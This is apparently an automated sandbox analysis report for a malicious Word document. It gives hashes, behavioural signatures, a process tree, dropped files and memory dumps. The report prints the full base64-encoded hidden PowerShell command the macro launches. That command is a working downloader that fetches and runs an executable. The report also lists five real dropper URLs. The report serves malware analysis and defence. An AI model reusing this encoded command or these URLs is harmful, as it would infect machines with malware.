Resubmissions

16/04/2025, 23:23

250416-3dkjmsw1ds 10

16/04/2025, 23:22

250416-3crxbs1ms5 10

16/04/2025, 23:16

250416-29atms1ly8 10

16/04/2025, 23:10

250416-2523bswzgx 10

16/04/2025, 21:45

250416-1madxsvzg1 10

16/04/2025, 21:28

250416-1be52azmt6 10

16/04/2025, 21:16

250416-z4vkrazlz9 10

16/04/2025, 21:06

250416-zx2eqavygy 10

Analysis

  • max time kernel
    134s
  • max time network
    132s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250410-es
  • resource tags

    arch:x64arch:x86image:win10v2004-20250410-eslocale:es-esos:windows10-2004-x64systemwindows
  • submitted
    16/04/2025, 23:23

General

  • Target

    virusshare/1/VirusShare_1ba8249d8503c0cf7bc125588c43bef9.doc

  • Size

    182KB

  • MD5

    1ba8249d8503c0cf7bc125588c43bef9

  • SHA1

    eb473c845c7474010ff35a3e8a169a9b6b9e5ebe

  • SHA256

    a44031feb2a71980a0980377c8f7b6f3b5b9dfa0f708556dd420be323c7e1a38

  • SHA512

    b5421ca474e8ccd30683b90a83e98c6ba74c8418201aaa923ba6c7805ef724b37dfabb74cfedccbb69e3fcf923635f64faa406f280057404f78957df3d840c8c

  • SSDEEP

    3072:9NO2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBU9asiv8Oc7V:9NO2k4PF7tGiL3HJk9rD7b9asiv8dZ

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\virusshare\1\VirusShare_1ba8249d8503c0cf7bc125588c43bef9.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5292
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3696
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5380

    Network

    MITRE ATT&CK Enterprise v16

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\38E32245.wmf

      Filesize

      444B

      MD5

      03f2aa29c474cee483417cdfa7aa62a3

      SHA1

      ed945788c5780f09807c6116f41138c3913ced71

      SHA256

      29d81cb3152d690401c987033d9bd76d9d4b4cf15c5751d707db37695740d965

      SHA512

      581cd05263e06e3e91a85361cfda08022c54a2b6353fe78c8dcb4b2e25b074f0293b0e35b92f90bee7808bf3048946b662fd3b2e388d1836e6a534ba19054e3e

    • C:\Users\Admin\AppData\Local\Temp\TCDBA8F.tmp\sist02.xsl

      Filesize

      245KB

      MD5

      f883b260a8d67082ea895c14bf56dd56

      SHA1

      7954565c1f243d46ad3b1e2f1baf3281451fc14b

      SHA256

      ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

      SHA512

      d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vquwx5hf.dpi.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

      Filesize

      2B

      MD5

      f3b25701fe362ec84616a93a45ce9998

      SHA1

      d62636d8caec13f04e28442a0a6fa1afeb024bbb

      SHA256

      b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

      SHA512

      98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

    • memory/5292-10-0x00007FFC66D30000-0x00007FFC66F25000-memory.dmp

      Filesize

      2.0MB

    • memory/5292-75-0x00007FFC66DCD000-0x00007FFC66DCE000-memory.dmp

      Filesize

      4KB

    • memory/5292-8-0x00007FFC66D30000-0x00007FFC66F25000-memory.dmp

      Filesize

      2.0MB

    • memory/5292-12-0x00007FFC66D30000-0x00007FFC66F25000-memory.dmp

      Filesize

      2.0MB

    • memory/5292-11-0x00007FFC66D30000-0x00007FFC66F25000-memory.dmp

      Filesize

      2.0MB

    • memory/5292-1-0x00007FFC66DCD000-0x00007FFC66DCE000-memory.dmp

      Filesize

      4KB

    • memory/5292-9-0x00007FFC66D30000-0x00007FFC66F25000-memory.dmp

      Filesize

      2.0MB

    • memory/5292-7-0x00007FFC66D30000-0x00007FFC66F25000-memory.dmp

      Filesize

      2.0MB

    • memory/5292-6-0x00007FFC66D30000-0x00007FFC66F25000-memory.dmp

      Filesize

      2.0MB

    • memory/5292-14-0x00007FFC66D30000-0x00007FFC66F25000-memory.dmp

      Filesize

      2.0MB

    • memory/5292-15-0x00007FFC66D30000-0x00007FFC66F25000-memory.dmp

      Filesize

      2.0MB

    • memory/5292-13-0x00007FFC249E0000-0x00007FFC249F0000-memory.dmp

      Filesize

      64KB

    • memory/5292-16-0x00007FFC66D30000-0x00007FFC66F25000-memory.dmp

      Filesize

      2.0MB

    • memory/5292-17-0x00007FFC249E0000-0x00007FFC249F0000-memory.dmp

      Filesize

      64KB

    • memory/5292-19-0x00007FFC66D30000-0x00007FFC66F25000-memory.dmp

      Filesize

      2.0MB

    • memory/5292-18-0x00007FFC66D30000-0x00007FFC66F25000-memory.dmp

      Filesize

      2.0MB

    • memory/5292-4-0x00007FFC26DB0000-0x00007FFC26DC0000-memory.dmp

      Filesize

      64KB

    • memory/5292-588-0x00007FFC66D30000-0x00007FFC66F25000-memory.dmp

      Filesize

      2.0MB

    • memory/5292-586-0x00007FFC26DB0000-0x00007FFC26DC0000-memory.dmp

      Filesize

      64KB

    • memory/5292-2-0x00007FFC26DB0000-0x00007FFC26DC0000-memory.dmp

      Filesize

      64KB

    • memory/5292-587-0x00007FFC26DB0000-0x00007FFC26DC0000-memory.dmp

      Filesize

      64KB

    • memory/5292-585-0x00007FFC26DB0000-0x00007FFC26DC0000-memory.dmp

      Filesize

      64KB

    • memory/5292-584-0x00007FFC26DB0000-0x00007FFC26DC0000-memory.dmp

      Filesize

      64KB

    • memory/5292-3-0x00007FFC26DB0000-0x00007FFC26DC0000-memory.dmp

      Filesize

      64KB

    • memory/5292-72-0x00007FFC66D30000-0x00007FFC66F25000-memory.dmp

      Filesize

      2.0MB

    • memory/5292-5-0x00007FFC26DB0000-0x00007FFC26DC0000-memory.dmp

      Filesize

      64KB

    • memory/5292-76-0x00007FFC66D30000-0x00007FFC66F25000-memory.dmp

      Filesize

      2.0MB

    • memory/5292-79-0x00007FFC66D30000-0x00007FFC66F25000-memory.dmp

      Filesize

      2.0MB

    • memory/5292-0-0x00007FFC26DB0000-0x00007FFC26DC0000-memory.dmp

      Filesize

      64KB

    • memory/5380-63-0x0000020034540000-0x0000020034580000-memory.dmp

      Filesize

      256KB

    • memory/5380-60-0x0000020034650000-0x0000020034752000-memory.dmp

      Filesize

      1.0MB

    • memory/5380-59-0x000002001C150000-0x000002001C160000-memory.dmp

      Filesize

      64KB

    • memory/5380-48-0x00000200343B0000-0x0000020034432000-memory.dmp

      Filesize

      520KB

    • memory/5380-49-0x000002001C160000-0x000002001C182000-memory.dmp

      Filesize

      136KB